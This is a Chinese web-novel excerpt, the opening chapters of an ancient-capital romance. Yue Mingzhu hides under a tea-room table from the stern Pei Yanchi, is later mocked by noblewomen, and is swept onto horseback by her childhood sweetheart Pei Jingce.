《入春闺》
1. 01
仲春时节,京郊设踏青宴。
上京诸位贵女聚在一起,彼此聊的就这老几样,最近风靡的妆靥、时新出现的缎料。原是随意闲谈,谁料有人突然抛出件大事——
“任四小姐要跟裴小少爷说亲了?”
此话一出,瞬间激起千层浪。
“此话当真?”
“不可能吧,小少爷摆明了还没收心……”
“就是啊,他一掷千金就为了听首江南小调的事儿,两个月前不还闹得沸沸扬扬吗?”
上京何人不知,裴氏世代簪缨贵胄,族规清正森严。裴太傅是两朝元老,其长子同样出类拔萃。
偏偏就一个次子裴惊策,生性散漫,离经叛道,是个十成十的纨绔。
座位末,林家小姐忍不住同身边少女嘀咕:“就算不收心又怎样,那可是裴家,那可是裴小少爷,能嫁进去就烧高香吧。”
本朝世家势力盘根错节,其中最权势显赫者莫过于裴氏。嫁作裴家妇,比做皇子妃还要风光百倍。
能有这份殊荣披身,哪里还需要计较别的细枝末节。旁人艳羡嫉妒可都还来不及。
少女一边听她讲话,一边又吃了个蜜豆酥。
林家小姐看她这幅样子,实在稀奇:“明珠妹妹啊,你不也还没订亲吗,怎么对这些事儿一点都不上心?”
越明珠擦去唇边碎屑,声音含糊地道回答:“再不吃,酥团就凉了。”
林家小姐忍俊不禁,把自己桌上未动的点心也推到越明珠面前:“你慢点吃,我继续跟你说说这小少爷跟任四的事。”
“……今日这踏青宴由郡主做东,办得尤其隆盛,上京有头有脸的都来了。女眷在南院,男人在北院。裴惊策也在。这可是他最近唯一一次露面。”
“任四挑今日放出消息,绝对是故意为之。”
因着容貌跟极尽优越的家世,裴小少爷的艳名跟恶名一样响亮,千金贵女中可不乏他的爱慕者。
他浪荡惯了,年近弱冠还不曾谈婚论嫁。裴二少夫人的位置始终空悬。
不少人都盯紧了打起如意算盘。任家肯定也是其中之一。
林家小姐忍不住冷哼了声,腔调难掩不屑:“任四总端着那副清高劲儿惺惺作态,竟然还真有文人吃她那套,称颂她有何等美貌无双。要我说,可连明珠妹妹的十分之一都比不上呢!”
这话绝非恭维,而是完完全全出自真心。
就算上京美人如云,面前少女的样貌在其中也足够出挑了。
脸蛋尚且还没长开到最盛时,已然稠丽秾艳。乌发雪肤,皓齿朱唇,极尽浓墨重彩,只消一眼,便足够令人念念不忘。
与明艳的容貌正相反,大抵是因为小时候养在江南水乡,越小小姐待人的脾气跟说话的声调,都出奇的温吞软和。
身段也软,更要紧的是骨肉均亭,该纤细的纤细,该丰盈的丰盈。
只可惜,跟多数长袖善舞、八面玲珑的贵女相比,越明珠实在是太不争不抢了,白白浪费了这般精巧的脸蛋。
若越明珠愿意出些风头,叫那些文人才子见一见她的模样,这上京第一美人的佳名未必能落到别人头上。
暗暗感叹完,林家小姐又继续说裴惊策的事:“就算订亲了,能不能嫁进去也不好说。我昨日才听人说起过,小少爷有几个旧相好,应该……”
话音未落,“哐当”一声。越明珠身边的丫鬟不知道怎的失手打翻了茶杯,半数凉茶都泼在了她的裙摆上。
丫鬟大惊失色,惶恐告罪,又连忙找了补救法子:“小姐,事不宜迟,奴婢先带您去换身衣裳。”
越明珠“啊”了声,满目茫然。还没搞清楚怎么回事,就被拉着离开了筵席。
一路走了很远,直到彻底听不到贵女们发出的动静,丫鬟才慢下脚步。
“小姐啊小姐,你可千万不要把那群人的话放在心上,都是些捕风捉影的事儿。”丫鬟埋怨道,“小少爷怎么可能跟除了小姐以外的人订亲?一听就是假的!”
越明珠拉过她的胳膊,软声安慰:“好啦好啦,云青你先不要生气。”
云青仍旧忿忿:“奴婢是替小姐不平,瞧着小姐刚刚食不下咽的样子,奴婢都快心疼死了!”
什么?
少女眨了眨眸子,不大好意思地小声解释:“我只是吃撑了。”
都怪那蜜豆酥就十分美味,甜而不腻,她吃完一盘之后还想再尝尝,但实在吃不动了,只能小口小口地咬着酥皮来解馋。
至于传言,她全是左耳进右耳出。
那些人也不过是道听途说、人云亦云。倘若她真想知道什么,直接去问裴惊策不就好了吗?
云青紧盯着越明珠看了好一会儿,总算相信自家小姐是真的没把刚刚那些议论放在心上。
“那小姐方才怎么一直走神?”
“阿策哥哥不是派人传过信,说要给我补及笄的贺礼吗?”越明珠轻轻眨着眼,“我刚刚在猜会是什么大礼。”
两月前,裴惊策被裴太傅押进大理寺,名曰历练,实则犹如软禁。
小少爷做事一向不计后果,甚至常常专门跟家里对着干。
纵是太傅夫人极其溺爱这个小儿子,常常在父子间斡旋调和,也挡不住裴太傅被气得大发雷霆。
气狠了,肯定要把人送去吃些苦头,好磨一磨他的性子。
这一磨就是整整两个月。期间裴惊策哪儿都去不了,刚好错过了越明珠及笄,连贺礼都没来得及送。
只好等他从大理寺出来之后,找个机会再补一份。
瞧见越明珠雀跃的神情,云青也忍不住跟着笑起来:“肯定是好东西。小少爷跟小姐一起长大,最了解小姐的喜好。”
恐怕鲜少有人能猜到,裴家那位身份贵不可言的世家浪荡子,会跟越明珠扯上关系。
越小小姐幼时体弱,按照医嘱一直留在江南老宅里休养。
正巧那时圣上刚刚登基,世家内乱,裴太傅出于种种考量,秘密将嫡子送离上京,前往江南避难。
裴越两家的宅子就隔了个对门,两个小孩子互相打过照面后,便顺理成章地熟悉了起来。
之后六年,几乎形影不离。
直到三年前,裴惊策回到上京。
紧接着,越大人进京履职。越明珠身体已经康健,不必再待在江南,也跟着回到了天子脚下。
上京哪哪都好,但就是不如从前自在。处处都要小心,处处都要避嫌。
他们暂时还没有订亲,男女有别,自然不能再像从前两小无猜的时候那样相处。
所以每一次见面,亦或者是每一次收到裴惊策传来的讯息,越明珠都很珍惜。
知道今日会收到他的贺礼,她提前两日就开始期待了。
“小少爷说的是申时让您去西院茶室取贺礼,现在还差了好一会儿,小姐要不先找个地方歇一歇?”
“那现在就先去茶室吧。”越明珠轻声道,“反正在哪儿歇着都一样。”
茶室格外僻静,但越明珠的心完全静不下来。
她满脑子都是裴惊策:“他说了有东西送我,也没说是别人送的,万一、万一……”
云青接话:“说不定是小少爷要亲自送给小姐。”
“那等等、等等,我还没有想好这次要跟他说什么!”
一想到马上有可能见到裴惊策,越明珠心头鹿撞,一时坐也不是、站也不是,紧张得来回踱步:
“我关心他在大理寺受没受苦,他会不会觉得我揭他伤疤?但若不说,岂不是显得太无情,但大理寺里面万一有什么机密是我不能听,他岂不是很为难。”
“不过阿策哥哥看着不正经,其实厉害得很,说不定已经在那里混得如鱼得水,有很多好消息要跟我说。但我若直接表露出信任,他会不会觉得我想得不够多,并未真正把他挂在心上,然后同我起了嫌隙……”
“只要是小姐说的,小少爷肯定都爱听。”云青笑道,“小姐慢慢想,奴婢先去给您找身新的衣裙。”
做戏要做全,越小小姐以更衣为由离席,等会儿回去必须要换一身衣裳。
云青离开,内室就只剩下越明珠一人。
她身体弱,站久了就觉着累,干脆倚在窗边,眼巴巴地等着情郎的到来。
不知多久过去,长廊尽头终于有了动静。却不是一个人,而是一群人——
那一行人都穿着官服,品阶不低。可平日里威风十足的官吏,这时候都不约而同地挂着谄媚笑容,垂头躬身,簇拥讨好着中央的青年。
中间那人身姿如玉竹挺拔,着一袭低调内敛的墨色缂丝杭绸绛袍,看不见脸都能感受到冷淡又凌厉的威慑感。
叫人难以忽视,却又胆颤心惊,不敢窥探。
越明珠吓了一跳,飞速后退躲进屋里。
天啊,裴晏迟怎么会在这儿?
大家不是都说他正在南下清缴逆党吗,为什么这么快就回来了?
越明珠对政事一窍不通,可能隐约感觉到,这办事的效率未免太高了一点。
她忍不住惴惴不安。
裴晏迟跟裴惊策一母同胞,只大裴惊策四岁,但秉性跟那个不着调的亲弟弟截然相反——
惊才绝艳,矜贵冷淡,是所有人都称赏不已的天之骄子,最严苛的言官都对他不尽溢美之言。
然而越明珠很清楚他的真面目。
去年初裴惊策在猎场被鹰抓伤,左肩血流如注。正值裴晏迟的马车经过,她跑去拦驾,想让裴晏迟送人去太医院。
马车内的人连帷裳都懒得掀开,听她细细描述胞弟受伤之重,也丝毫不为所动。
等她说完,问的竟然是:“你们进皇家猎场,可有口谕?”
当然没有。只是有皇亲国戚在,宫里人都睁只眼闭只眼。若较真起来,这完全算触犯宫规。
很不巧,裴晏迟就较了真。
于是,越明珠不仅没有搬到救兵,还莫名其妙领了一顿罚,回家思过了整整半月,甚至因此没能去探望伤重的裴惊策。
从那以后,她就悄悄对裴晏迟有了大成见。
但越明珠只敢在心里抱怨。明面上,她一点都不敢招惹裴晏迟,更
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不敢让他知道自己跟裴惊策的关系,以免节外生枝。
虽然不知道裴晏迟出现在这做什么,但只求他快点走,别发现她,更别碰上裴惊策。
然而天不遂人愿,越明珠清晰听见那阵步履声越来越近。
与此同时响起的是几人彼此接话,什么“坐下再说”之类的。
“……!??”
没给越明珠愚钝的脑瓜子任何反应的时间,声音逼近,有人准备推门而入。
左看右看没别的地方可藏,她低头看着宽大案桌,不假思索掀开桌帔,弯腰钻进桌底。
桌帔放下,垂至离地一寸处,足以遮住下面蹲着的少女。
这玩意不透光,待在其中完全伸手不见五指。好在越明珠的耳朵还算灵敏,能分辨出声音来自于三个人。
“大人今夜丑时才回京,杂事众多,来此处踏青本是放松,怎么又突然起了意,要细细过问后日地坛祭礼之事?”
“这些事由我们礼部操劳便好,您何必如此劳神伤身?”
“事关祭祀,不容马虎。”
最后说话的人音色明明是这其中最年轻的,可听起来极冷极冽。隔着厚厚桌帔,都能感受到股不容忽视的威压。
这声音很熟悉,越明珠不敢深想,或者说不愿面对。
她屏息,小心翼翼蹲着,双手紧紧抱膝。满脑子只有一个念头,就是求求这些人快点离开。
但他们好像有说不完的话。其中两位谈起祭祀流程,张口闭口便是引经据典、诗云子曰,活像是两个夫子在围着她不停念书。
害得越明珠本就不舒服的脑仁更疼了。
脖颈维持着一个弧度,酸软得要命,她想动一动略作缓解。脑袋一抬,额头就磕到了案桌下面。
越明珠:“……”
嘶,好疼。
她以前只觉得自己不聪明,现在看,这是真的有点笨。
不幸中的万幸是声音很小,而且天助她也,有人正在说话,其他两人一门心思都在听他吩咐,根本没注意到这些端倪。
过了片刻,只听见那两个官员连声附和。
再过一会儿,他们仍在继续说着祭祀的事。
越明珠悬着的心一点点放了下来。
然后——
一只鹿皮靴,似不经意般,抵在了她的鞋履前。
紧接着是男人平淡的叙述:“还有,逆党并未处理干净。回京后,若有可疑人等,同样格杀勿论。”
越明珠心脏骤停。
她被吓得浑身僵直,唯独脑子在不该灵活的时候很灵活,已经先一步丝滑地想象出桌帔被掀、她被当逆党余孽拘捕、嘴巴塞了布没办法哭诉自己冤枉、只能让天公六月飘雪来证明她的清白等种种画面。
预想的场面并没有发生,她又听见那人道:“找我自首者,酌情处置。”
话音落下,正前方的桌帔被不动声色掀开一条缝隙。
这已经不是暗示了,简直就是明示。
心里反复念了不知几遍裴惊策快显灵,又反复确认没用之后,越明珠只能认命,咬紧下唇,以话本里将军自刎乌江的悲壮之势,抖抖瑟瑟地把手伸出去。
她想的很简单,那人看见她的手,应该就能看出来她是个手无寸铁的弱女子,绝不是什么逆党。
结果,手刚伸过去,还没来得及做什么便被人一拽。越明珠整个人都不受控制地匍匐了过去。
膝盖栽在地毯上,原来的蹲变成了跪着,上半身也因此被迫贴近对方小腿。
身前被挤得好不舒服,但越明珠不敢动,只得先维持着这个奇怪的姿势。
一只手被拎着,另一只手紧紧扣住地毯。
她不合时宜地想到小孩子与猫拉扯的场景。他们会捏住猫儿的一只前爪,试图把它拽到怀里。
猫却会用剩下三只爪子牢牢抓着地面,身子往后缩,不肯上前一步。
她现在就像是那只猫。
少顷,手腕被松开,脸却被捏住,缓缓抬至比男人膝骨略高一寸的地方。
乌木沉香从他衣袖泄出,徐徐拂面而来。
那接触到脸颊的手指骨节分明,温度低得像块刚挖出来的万年冷玉。
刺骨的冰凉泛过她被碰到的肌肤,浮起一阵阵痒意。
她感觉到手上动作轻微的一滞,也许是男人在确认了她的身份之后有一瞬的停顿。
……越明珠人都傻了。
茶室内外种种声响中足以掩盖所有小动静。案桌宽大,这一方又背靠屏风,若不站起来凑近,没人会发现,也无人敢想象,男人腿间竟然跪着一个任他摆布的貌美少女。
两位礼部官员显然什么都没注意到,只顺着刚才的话铿锵有力地吹捧:“大人在江南的手笔已经传遍上京,想必宵小之徒定不敢造次。”
裴晏迟垂眸,并不接茬,挑开话锋:“明夜的演习安排如何。”
越明珠听不进去其他人在说什么,只呆呆望着这双很像裴惊策的眼睛。
不同于小少爷桃花眸的流盼多情,这副眉眼如远山雪,高高在上,凛不可犯。
2. 02
他正居高临下审视着她。
对视不过须臾,却又无比漫长。
越明珠大脑空白,尴尬得手脚冰凉,一时顾不上别的,只想自欺欺人地重新躲回桌底。
然而裴晏迟的反应远比她快得多。她膝盖刚往里挪一寸,后颈便被警告似的按住。
原本捏着脸颊的手摁在了少女颈后,两人之间的距离被迫拉近,更显得逼仄。
乌木沉香像一张无形的网,将人完完全全罩在其中,想要逃离却动弹不得。
越明珠不喜欢哭。可每一回遇到事情,她脑子还没转,眼圈就先红了。
隔着聚起来的水雾,越明珠清楚地看见了男人脸上的好整以暇。
她垂下眼,很有骨气地用力咬住嘴唇,硬是没让眼泪在这时候掉下来。
或许是隐约感觉到异样,官员停下了汇报,战战兢兢地问:“大人可是觉得……有什么不妥?”
茶室骤然安静。越明珠的心提到了嗓子眼,甚至都顾不上尴尬不尴尬的了,只害怕裴晏迟直接把她的存在全盘托出。
她一紧张,手就完全不听使唤,下意识攥紧了身前人竹青色的绢袍边角。
裴晏迟顿了一下,视线淡淡扫过那衣摆被她抓出来的明显褶皱,又顺着手上移,停在少女煞白的小脸上。
看得出她在努力让自己保持镇定,可还是控制不住双肩发抖。
垂落在背后的如瀑青丝也随之轻轻晃动,有一下没一下地蹭着他的手背,像极了情人若即若离的爱抚。
落在越明珠后颈的力道莫名一重。
越明珠以为这又是裴晏迟的警告。
抬头去看他,却见裴晏迟已经把注意力重新放到了案桌之上。
看不清男人的表情,只听到他淡淡解释:“刚刚发现这儿竟藏了只麻雀,走了神。”
“麻雀?什么时候飞进来的?这、这都怪属下不慎,选这间茶室谈事时没让人排查一番。还请大人稍等,属下立即——”
说着,那官员竟作势要起身。
越明珠心脏都快跳出来了,幸好裴晏迟及时打断了他:“不必,先把正事说完。”
极淡然的声线,但此时在越明珠心中堪比天籁。
这个插曲总算揭了过去。
礼部官员继续汇报:“大人也知道,今年特殊,马上参与祭祀的二品及以上官员少了三十六人,礼部得重新排布了行礼位,但牵一发而动全身,眼下最棘手的是问天望燎时……”
门外哐当一声,像有什么东西掉了下来。
“怎么回事?”
“何人在此造次!?”
越明珠第一反应是裴惊策的人来了,又喜又惊。
她不擅长撒谎,也压根不会掩饰自己的想法,旁人一瞧便知。
裴晏迟视线从少女脸上扫过,唇角几不可闻地扯了下,抬眸看向门口,语调比方才冷了些:“谁?”
无人应当,离门最近那位官员自觉起身,出门去查探了一会儿,回来道:“只是年久失修,落了一片砖瓦,没有人经过。”
他明显没胆子骗裴大公子。
另一人只当裴晏迟忌讳有人偷听,连忙补充道:“这里空置多年,从来不住人,只在每年春夏拿来宴请宾客。大公子对这儿的情况了如指掌,应该是知道的。”
裴晏迟抿了口茶,平静道:“看来是误会。”
两位官员又接着刚刚望燎的排布说了起来。
裴晏迟看起来听得很认真,好像全然忘了桌下还有个人,唯独弯曲的指节没移开,还不轻不重地抵着她的后颈,示意人不许乱动。
过了好一会儿,官员都会汇报完了,他才垂下眸看向越明珠。
少女眼圈泛红,濡湿眼泪挂在颤抖的浓睫上,好似受了天大的惊吓跟委屈。
四目相对,她也不藏了,干脆自暴自弃,任由泪珠越聚越大颗,顺着脸颊滚落下来。
啪嗒,啪嗒。
裴晏迟无动于衷,收回手,放在案桌上叩了两下:“到此为止,处理完纰漏,明日戌时再来禀报。”
两位官员忙不迭称是,立即告了退。
他们慌慌忙忙,越明珠也没闲着。不过一句话的功夫,她又飞快地缩回了桌底。
“出来。”
越明珠不但没照做,还又往里面缩了一点。
男人嗓音微凉:“需要我帮你吗?”
这句话隐含的威胁很有用。越明珠就是再不情愿,也不得不钻出来了。
只不过,她是从对面钻出来的,正好跟裴晏迟之间横了一张案桌。
越明珠双腿发麻,要撑着桌边才能站稳,单薄身影微微发颤,看上去十分可怜。
但裴大公子没有任何怜香惜玉的打算,上下扫视少女,平静而不容置喙地命令:
“解释。”
那语气太可怕了,只两个字就把越明珠吓得不轻,眼泪又往外冒。
她狼狈地用袖子擦眼泪,哽咽道:“我不是刺客,就是做客的女眷……也没有偷听你们的话,就算听了都没记住!”
裴晏迟轻嗤:“那是哪家的女眷会出现在这儿?”
越明珠一愣,磕磕巴巴: “我只是、只是……”
“迷路”两个字哽在喉咙里,不上不下。
这里如此偏僻,离女眷聚会的地方相距甚远,说迷路也太牵强了点。
“只是什么,”他淡淡反问,“跟人相会?”
语调疏淡,砸落在越明珠耳边却如惊雷。
越明珠也不知道他是真有所察觉,还是随口一说。
脑袋嗡嗡作响,牵连着额角都在一阵接着一阵地作痛……
对了,她刚刚磕到了额头!
“我衣裙上被人洒了茶水,本是要回厢房换衣裳的,结果路上一不小心磕到了脑袋。”
越明珠抬手扶住额边那处几乎不存在的伤,嗓音细弱无力,仿佛马上就要喘不上气。
一半是装的,一半却是真被吓出来的。
“然、然后一阵天旋地转,好像有什么人在追着我跑,我也不知道是怎么的……”
“我、我听见好多人在跟我说话,推搡着我,就糊里糊涂来到了这里。”
“我的丫鬟拗不过我,只好让我先在这儿歇着,她去为我取衣裳。她一会儿便会拿着换洗的衣裳来,你可以问她。”
说到最后,少女用泪潸潸的眸子偷偷看向裴晏迟。
裴晏迟一言未发,也不知到底是信还是没信。
越明珠腿都站酸了,顺势坐在交椅上,虚弱地侧靠着椅背,还不忘悄悄把黑锅推给这讨厌的家伙:
“其他的,你问我,我也记不大得。刚刚受了惊吓,现在头太晕了,也许是伤情加重了吧……”
“那就去请太医,”裴晏迟径自开口,“庄河。”
半掩的雕花窗外立即闪出一个黑衣男子。
??
这人哪儿来的?
而且,怎么就闹到了要请太医的地步?
越明珠刚放下的心又马上悬了起来。
谢天谢地,庄河并未听令动身,而是快步来到裴晏迟身侧:“属下刚收到江南密报。”
这密报内容具体是什么,越明珠不得而知。不过,她清楚瞧见,听到一半时,裴晏迟颇为厌烦地蹙起了眉。
等庄河说完,她立马道:“大人先处理要事——”
话音未落,冷淡的视线便扫了过来。
越明珠哽住,声音越来越弱,听起来可怜至极:“我可以慢慢养伤,就、就不打扰大人……”
在少女柔弱而紧张的注视中,裴晏迟不咸不淡地道:“伤重如此,委实需要留意。”
庄河会意:“属下必然嘱托越大人多加留心。”
越明珠眼前一黑。这不会是想让她爹禁足她吧?
天啊,她跟裴晏迟就碰了两面,次次都没有好事发生。
上回被牵连罚了思过半月,害得她没能去探望受伤的裴惊策。这回更是离谱,裴惊策刚结束软禁,就换成她要被禁足。
越明珠就从来没见过像裴晏迟这般不可理喻的人,逮着一件小事就要把人刁难个没完。难道她欠了他十辈子的债吗?
更生气的是,就算知道裴晏迟是故意刁难,她也没办法。
越明珠的性子根本藏不住事,哪怕忍住不说话了,脸蛋也气鼓鼓的,叫人一眼就看出她有多不服气。
庄河在两人间来回瞥了一眼:“越小小姐,您在此休息,片刻后会有人——”
“不用了。”越明珠撑着案桌摇摇晃晃站起来,“我去外边等我的丫鬟。”
裴晏迟并不开口。直到越明珠看向他,他才回望着少女的眼睛,毫无怜香惜玉之情,缓缓地道:“不送。”
…………
前往茶室的小路甚是萧瑟,草木杂乱横生,却丝毫遮掩不住少女纤侬合度的身影。云青远远就瞧见了越明珠。
“小姐!”云青又惊又疑地迎上去,“你怎么在这,茶室……”
越明珠拉过她,道:“你来得正好,趁着申时没到,得通知阿策哥哥的人换个地方。鬼知道裴晏迟怎么会去那间茶室。”
“但是,但是……”
云青摁住越明珠的手臂,数次欲言又止。
越明珠还没反应过来,催促道:“
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走吧,裴晏迟心胸狭隘,若让他们俩遇上,肯定会出事的!”
云青低头不敢看她:“刚刚小少爷的人才来说过,申时来不了,要推迟几日。”
越明珠怔然。惊喜落空的滋味如一盆冷水浇下,刚刚愈演愈烈的焦躁与期待全都化为须有。
好一会儿后,她才回过神,轻声问:“是有什么变故吗?”
见云青沉默,越明珠渐渐皱起黛眉:“会不会是他兄长要给他下马威,还是遇见了别的麻烦?”
云青握住她的手:“先不着急,奴婢支了小厮去后山的马场上打探。”
越明珠却愈发担忧。想到禁足后以后打探消息更不方便,她干脆拉着云青就走:“我们也去看看。”
远离了裴晏迟的视线,她不用再装晕装病,步伐一下子就变快了。
此处是前往后山的必经之路。沿着最笔直宽阔的大道很快就到了山麓边。
山上绿草如茵,专门辟了地方供世家子弟玩乐,还没走近就听见此起彼伏的语笑喧哗。
越明珠欲上前。云青见阻拦不住她,情急之下脱口而出:“奴婢听人说小少爷正跟任四……小姐见了恐怕会伤心的!”
越明珠不假思索:“那不更应该去亲眼看看是真是假?”
云青愣住。
与此同时,远处的小丫鬟匆匆跑来,替她家小姐邀越明珠去凉亭一聚。
顺着丫鬟所指望去,是一处凉亭,亭中似乎都是些身份显赫的少年少女们。
时下民风开放,男女不设大防,不知道裴惊策会不会在那其中。
越明珠急着找人,立即应下:“走吧。”
她不认识这丫鬟,只当是哪家打过照面的千金热心肠。谁知一到亭中,刚刚坐下,那丫鬟便扬声道:“小姐,越家小小姐来了。”
无数目光投到她身上。打量的、好奇的、不怀好意的,全都不加任何掩饰。
一位千金以袖掩唇,笑道:“雪韵,这位……?”
接连响起几声轻笑。
没谁说半句过分的话,可轻慢之意都几乎溢于言表。
他们并非不认识越明珠。只是越家根基远在江南,并非上京望族。
论身份,越明珠还不够与她们平起平坐。
每每相遇,越明珠就只有被奚落的份。
为首的女郎面容姣好,正是刚刚宴席上不见踪影的任四小姐任雪韵。
她微微一笑,解释道:“我瞧明珠一个人甚是孤单,又一直望着咱们,干脆请她来坐一坐。”
越明珠环顾四周。亭中男女分作两席,何处都不见裴惊策的身影。
她收回视线,客客气气地道:“谢谢你的好意,不过你可能看错了,我并没有看向这边。既然是误会,那我先走了。”
话音一落,旁边的公子哥们忍不住“扑哧”两下。
任雪韵一顿。
还好发笑的是几个不入流的纨绔,而不是……她不动声色地瞥了眼右边最里侧宣的黄花木屏风,笑意不变,继续道:“来都来了,不如一同消遣会儿。”
刚刚故意给越明珠难堪的千金道:“刚刚我们不是说要投壶,还差一个抱壶的人吗?”
立即有人附和:“正好越家小姐来了。”
谈笑着,一方竹壶就被端到了越明珠面前。
几个丫鬟上前立在她身侧,不像是要伺候,更像是逼迫她必须抱起竹壶,乖乖做这群贵女们投箭的靶子。
云青上前想护住越明珠,却被其他人拦在亭外。她扑通跪下,高声道:“我家小姐笨手笨脚,只会打扰少爷小姐们的兴致。”
任雪韵不作表示,旁人轻哂:“这儿轮得到一个丫鬟说话?”
这群世家子女一旦临时兴起要捉弄人,向来没人敢反抗。很不幸,越明珠此刻又成了这个不得不从的倒霉蛋。
越明珠眼睁睁看着任雪韵手边那一摞细长尖锐的竹箭,如果失手投掷到人身上、脸上,不敢想会有什么后果……
她想往后退,却被几个丫鬟堵住后路。
其他人压根不在乎她的反应,自顾自地交谈起来:“我好久没投过壶了,上一回就输给雪韵三颗夜明珠,不知道今日还会不会这么惨。”
“我也生疏了不少,看来今日得多加练——”
啪。
屏风之后,物件应声落地。
不轻不重的一下,却在一瞬间盖过了所有的声浪。
刚刚还谈笑风生的人面面相觑。席间一时安静得可怕。
随之响起的嗓音极年轻,又极散漫,还哑着,透着一股刚从睡梦中被吵醒的倦怠。
“好吵,说完了没?”
3. 03
绿叶阴浓,一阵风吹过,偌大的凉亭中只听见花叶簌簌作响。
半晌过去,无人敢应答。
离得最近的薛家大少深吸一口气,起身推开屏风,低声欲打圆场:“惊策——”
不同于其他人近乎凝滞的紧张。
屏风后,少年正慵懒地躺在太妃椅上,双手环抱,一条腿曲着。
乍一看不像高门少爷,更像是个年轻气盛、浪荡不羁的江湖侠客。
墨发高束成马尾,一袭紫金骑装纷华靡丽,张扬得叫人挪不开视线。
然而外物再怎么夺目,也都比不得他那副皮囊。
无一处不矜傲,无一处不俊美,简直就是画里走出来的人物。
尤其是那双秾丽的桃花眸,随意睨人一眼,便足以让万紫千红都失了颜色。
不过,现在他像是刚被吵醒,半阖的眉眼透着浓浓不耐。
跟着起哄的人都自觉移开视线,有的甚至低下头,不敢看向裴惊策。模样丝毫不见刚刚的盛气凌人。
就这么沉默了良久。见裴惊策没有发作,薛衡才继续道:“这宝塔山景色真好,只是坐着赏景未免太无趣了,我们正商量玩些别的。附近就有马场,不如牵几匹过来看看?”
裴惊策顿了一下,才懒懒地应道:“可以。”
见他没追究刚才的事,气氛重新活络起来,其他人顺理成章地接话:
“郡主出身将门,府中宝马皆是不凡,只是听说有的性子极烈,我们只有干瞪眼的份儿啊。”
“啧啧,惊策驯过的烈马两只手都数不过来,今个儿估计又要添几匹了。”
这些总是拿下巴看人的公子哥们,竟然会用这种语气说话?
越明珠实在是开了眼。
她鲜少跟着裴惊策出入这种场合。之前相会,大多数时候都是她去附近四下无人的地方待着,等裴惊策从筵席中抽出身来赴约,并不清楚小少爷在这群人中有多举足轻重的地位。
不过这群人说的都是事实,不算恭维。少年好驰逐,裴惊策的骑射确实了得。
接下来那群人在叽里呱啦说什么,越明珠连半个字都没听进去。
她的注意力全被裴惊策勾走了。
小少爷躺着没个正形的样子都极尽风流,在那群纨绔中更是犹如鹤立鸡群。
在大理寺待了两个月,他好像高了些,肩又宽了点,但清瘦了好多,眼下也有淡淡的乌色……
最近过得很辛苦吗?听说大理寺里规矩严苛,甚至会动刑,会不会在里面受什么罚?
越明珠有很多话想问,但现下不是时候,只能吞回去。
裴惊策好像压根没察觉到她的目光,眼皮半抬,只是有一搭没一搭地回着身边人的话,漫不经心极了。
他们商量好了要打马球,又抽签分作两队。没跟裴惊策分到一起的人哀嚎了声:“上次输得那么惨,这次看在家姐的面子上,还请小少爷手下留情,放我一马吧!”
裴惊策没说话,薛衡先催促道:“求什么情?走走走,打几局再说吧。”
马球场就在不远处,紧挨山腰密林,建得格外宽阔,旁边设了好几处亭台,以便观赛与休息。
等大家都动了身,越明珠故意慢吞吞走在最后。
她对马球什么的一窍不通,也打心眼里不想跟这群总是趾高气昂的贵女们凑在一起。
反正也没人在乎她的存在,不如趁着这个机会落单,找处清静的地方等裴惊策。
越明珠没什么别的本领,唯独一磨蹭起来能轻而易举地磨蹭到天荒地老。
一会儿在原地找东西,一会儿低头摆弄自己的手链,等其他人都到了马球场,她才走走停停挪出十几步。
磨蹭也是很消耗精力的,越明珠决定先歇一会儿。
她躲在树荫下,远远地看着两列马球队就位。
清脆的哨声一响,比试开始。这群纨绔子弟虽然不学无术,但骑艺都不错,打起马球来还算像模像样。场面一时叫人目不暇接。
越明珠甚至分辨不出里面哪个身影是裴惊策。
她眯着眼睛,又努力地辨认了一会儿,仍旧还是没有找到裴惊策。他好像并不在其中。
咦,那他……?
身后忽地有风拂过,越明珠转头,正正好好看见那道熟悉的身影。
少年单手勒缰绳,向她飞驰而来。
四目相对,他不但不停,倒还加快速度,近在咫尺时松开缰绳,俯身,左臂一揽,竟直接将她捞上马背。
骏马驰骋,风声呼啸。
眼前景色一一掠过,大片茂林修竹都化作拖长的残影。
越明珠完全懵了,反应过来时才发现自己已经侧坐在马上。
脑子还没转过弯,突然迎来一阵颠簸。越明珠吓得下意识往后靠,腰后蓦地贴近一片温热。
原本只是虚揽的手臂用了力,结结实实接住她,防止她受惊从马上摔下去。
小少爷像是被她睁圆眼睛惊讶的样子逗到了,低笑出声。
“紧张什么?坐稳。”
越明珠:“……!”
距离被拉到近在咫尺,一抬头就是那张朝思暮想的俊脸。她从脸颊一路烧到耳根,脑子晕乎乎的,说话都语无伦次:“你、我、你……你从哪儿来的?”
“从林子里绕了半圈到你背后。”裴惊策啧了声,“两个月不见,胆子都小了。”
越明珠怔然地看着他的侧脸,迟钝地分辨出少年的言外之意。
裴惊策刚刚是故意打算给她一个惊喜吗?
谁曾想她呆若木鸡,表现得跟受了惊吓一样,拂了他的好意。
意识到这一点,越明珠顿觉不好意思,低下脸,“……对不起。”
她费劲想了半天,终于想出一个补救措施,一本正经地道:“你不要生气。要不然你放我下来,我假装不知道你会出现,然后你再像刚才那样从天而降……”
越明珠说这话时再诚恳不过,但裴惊策显然没有当回事。他挑了下眉,只道:“我没生气。”
越明
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珠一愣:“真的吗?”
裴惊策轻嗤:“我骗你做什么?”
也是,他从来不骗她的,有什么都会直接说。
越明珠放下心,重新看向他。凑得这么近,能明显瞧出少年的下颌比之前收窄了些。
她之前想好了那么多开场白,攒了那么多那么多想要得到答案的疑问,到这个时候全忘得干干净净,开口只道:“……那你这两个月过得还好吗?”
想了想,又专门补充:“不许骗我。”
“跟以前一样。”
“受伤了吗?”
“左手骨折过一次,现在好了。”
裴惊策说这话时轻描淡写,好像在谈论今日的天气。
越明珠惊住,一下子坐得笔直,不敢把任何重量压在他的左臂上。
“那你怎么还去打马球?”
裴惊策:“没什么影响。”
怎么可能没有?就算越明珠丝毫不懂医术,也知道这不是小事。分明只是裴惊策不爱惜身体,每回都这般不上心。
之前那一回也是。小少爷右手打着夹板,还若无其事地出来跟人比试射箭,全程单手拉弓,看起来好不潇洒。只有她一个人瞧得担惊受怕。
越明珠实在不知道说什么好,只能埋怨似的瞪他一眼。
“担心什么,”少年声调懒散,透出几分漫不经心,“我现在这不是好得很?”
越明珠气呼呼地道:“不许嬉皮笑脸。”
这是她能想出来的最重最不客气的话。
没想到裴惊策竟然真的听话地敛了笑。
气氛骤然变得微妙,越明珠一下子有点不知所措。
裴惊策低下头,凑到她跟前,直勾勾盯着她,语调故意拖得很长:“——原来越小小姐这么看不惯我。”
“见我没有被打个半死,躺在榻上动弹不得,你都高兴不起来。”
